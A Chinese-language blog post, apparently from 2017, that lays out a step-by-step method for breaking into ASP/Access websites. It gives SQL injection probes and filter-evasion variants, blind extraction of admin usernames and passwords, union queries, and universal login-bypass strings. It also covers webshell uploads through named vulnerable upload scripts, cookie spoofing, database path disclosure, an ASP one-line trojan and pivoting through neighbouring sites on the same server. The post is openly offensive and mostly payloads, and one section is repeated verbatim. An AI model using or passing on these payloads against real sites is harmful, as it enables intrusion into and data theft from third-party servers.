SQL注入

本文由zoujialan贡献
一、注入点的判断及猜解
1.加入单引号 ’提交,
结果:如果出现错误提示,则该网站可能就存在注入漏洞。
2.数字型判断是否有注入;
语句:and 1=1 ;and 1=2 (经典)、' and '1'=1(字符型)
结果:分别返回不同的页面,说明存在注入漏洞.
分析:and 的意思是“和”如果没有过滤我们的语句,and 1=1就会被代入SQL查询语句进行查询,
如果and前后的两条语句都是真的话就不会出错,但如果前后语句有一个为假的话,程序就会暴错。
也就表明程序有注入漏洞
防注入解决办法:
1>使用or 2>1 ; or 1>2来进行判断
  结果:分别返回不同的页面,说明存在注入漏洞.
  分析:or注入只要求前后两个语句只要有一个正确就为真,如果前后两个语句都是正确的,反而为
假。
   记住:or注入时,or后面的语句如果是正确的,则返回错误页面!如果是错误,则返回正确页面
,说明存在注入点。
2> 使用xor 1=1; xor 1=2
   结果:分别返回不同的页面,说明存在注入漏洞.
   分析:xor 代表着异或,意思即连接的表达式仅有一个为真的时候才为真。
   记住:xor注入时,xor后面的语句如果是正确的,则返回错误页面积,如果是错误,则返回正确
页面,说明存在注入点。
3>把and 1=1转换成URL编码形式后在提交
  and 1=1 URL编码:%41%4E%44%20%%31%3D%31
4>使用-1;-0
  分析:如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 
URL地址后面加上 -0,URL变成 news.asp?id=123-0,返回的页面和前面的
页面相同,加上-1,返回错误页面,则也表示存在注入漏洞.
3.字符型判断是否有注入:
  语句:' and '1'=1;' and  '1=2(经典)
  结果:结果:分别返回不同的页面,说明存在注入漏洞.
  分析:加入' and '1'=1返回正确页面,加入' and  '1=2返回错误页面,说明有注入漏同。
  防注入解决办法:
  1>在URL的地址后面加上'%2B'(字符型)
  分析:URL地址变为:news.asp?id=123'%2B',返回的页面和1同;加
上'2%2B'asdf,URL地址变为:news.asp?id=123'%2Basdf,返回的页面和1
不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。
4.搜索型判断是否有注入:
简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞。然后搜
索%,如果正常返回,说明95%有洞了。
说明:加入如"&;"、"["、"]"、"%"、"$"、"@"等特殊字符,都可以实现,如果出现错误,说明有问题
操作:
搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和
2006%'and 1=2 and '%'=',存在异同的话,就是100%有洞了。
关键字%' and 1=1 and '%'='%
关键字%' and 1=2 and '%'='%
将and 1=1 换成注入语句就可以了
5.判断数据库类型:and user>0  例如:showdetail.asp?id=49 ;and user>0 
如果是ACCESS数据库,那么返回的错误里一般会有"Microsoft JET Database"关键定,如果是MSSQL数
据库的话返回的错误提示里一般会含有"SQL Server"关键了.
6.猜表名 and exists (select * from 表名)
  说明:意思与上面一样,只是用的语名不一样。
7.猜列名 and (select count(列名) from 表名)>0
  说明:如果我们输入的列名猜解正确否反回正常页面
8.猜长度 and (select top 1 len(username) from admin)>0
  说明:如果我们输入的最后一位数据返回错误,而错误前一位数字返回正确,说明我所猜解的长度
为正确。
9.猜内容 and (select top 1 asc(mid(username,1,1)) from admin)>50 ascii码1-128
  说明:如果我们输入的最后一位数据返回错误,而错误前一位数字返回正确,说明我所猜解的数字
正确。(可以使用折半法猜内容)
折半法:最小值与最大值差的一半,比如输入50返正确,输入100返回错误,折半后输入75。
10.联合查询注入(union查询)
操作步骤:
1>在正常语句后台加入 and 1=2 union select * form 表名,其中*号代表字段数量,从1一直追加
(and 1=2 union select 1,2,3,4 form 表名)如果字段数正确就会有暴错。
2>在页面显示数字的地方用真实得到的字段名代替,如:username,password.
3>在页面字段值处暴出真实的数据库字段值。
二、查找后台地址,找到后台用得到的用户管理员的帐户与密码进行登陆.
三、上传WEBSHELL
方法主要有:
1.上传漏洞: 如果看到:选择你要上传的文件 [重新上传]或者出现“请登陆后使用”,80%就有漏洞
了! 有时上传不一定会成功,这是因为Cookies不一样.我们就要用WSockExpert取得Cookies.再用 
DOMAIN上传或是桂林老兵上传工具.
1>上传漏洞的文件
  动网是upfile.asp。
  动易是在upfile_soft.asp,(软件上传漏洞)upfile_softpic.asp(图片上传漏洞)
  动感是在uploadflash.asp,upfile_flash.asp,利用抓包工具抓包得到cookies,再用   DOMAIN上
传或是桂林老兵上传工具
2>添加上传类型
  asa|asaspp
3>就是在上传时在后缀后面加空格或者加几点,也许也会有惊奇的发现。例:*.asp ,*.asp..。
4>上传图片文件木马,使用备份数据库得到asp文件
2.cookies欺骗
  使用cookies可以达到让网站认识你的目的。但是如果cookies验证不足就会形成cookies欺骗。用  
到工具 桂林老兵cookies欺骗工具。
3.%5c暴库
  把二级目录中间的/换成%5c EY:otherweb ... s.asp?BigClassName=职
责范围&;BigClassType=1 如果你能看到:’E:\ahttc040901
\otherweb\dz\database\iXuEr_Studio.asa’不是一个有效的 路径。 确定路径名称拼写是否正确,
以及是否 连接到文件存放的服务器。 这样的就是数据库了。下载时用FLASHGET换成.MDB格式的就行

4.conn.asp暴库
  这个也是比较老的漏洞,利用价值不大
5.'or'='or'万能密码登陆
  ’or’=’or’这是一个可以连接SQL的语名句.可以直接进入后台。我收集了一下。类似的还有 : 
  ’or’’=’ " or "a"="a ’) or (’a’=’a ") or ("a"="a or 1=1-- ’ or ’ a’=’a  
  一个很老的利用方法,主要用于一些比较老的网站。
6.旁注,也就是跨站. 我们入侵某站时可能这个站坚固的无懈可击,我们可以找下和这个站同一服务
器的站点,然后在利 用这个站点用提权,嗅探等方法来入侵我们 要入侵的站点。,在这里有个难点
,就是一些服务器 的绝对路径经过加密,这就看我们的本事了 
7.写入ASP格式数据库。就是一句话木马[〈%execute request("value")%〉 ],常用在留言本. 如:
这个就是ASP格式的数据库或者可以写入内容的
ASP文件,如南方数据的系统配置],再写 入一句话木马.
8.旁注,也就是跨站. 我们入侵某站时可能这个站坚固的无懈可击,我们可以找下和这个站同一服务
器的站点,然后在利 用这个站点用提权,嗅探等方法来入侵我们 要入侵的站点。,在这里有个难点
,就是一些服务器 的绝对路径经过加密,这就看我们的本事了
四、整站利用
    动网BBS 可以先用:dvbbs权限提升工具,使自已成为前 
   台管理员。 THEN,运用:动网固顶贴工具,找个固顶贴,再取得COOKIES,这个要你自已做。我   
们可以用 WSockExpert取得Cookies/NC包 这个我就不做了,网上教程多的是,自已下个看看。     
工具:dvbbs权限提升工具 动网固顶贴工具
总结:
个人认为ACCESS网站注比不是很灵活,方法大家都知道,针对国内的网站来说大家可以到网站搜索
网站是利用什么程序改过来的,现在一般都是利用已经存在的企业网站系统来进行修改。

下一篇整理MSSQL注入方法,MSSQL注入十分的灵活,功能也特别强大.只要找到注入点,一般
情况下是可以拿下来的,

posted @ 2017-09-21 15:59  freeliver  阅读(11711)  评论(0编辑  收藏  举报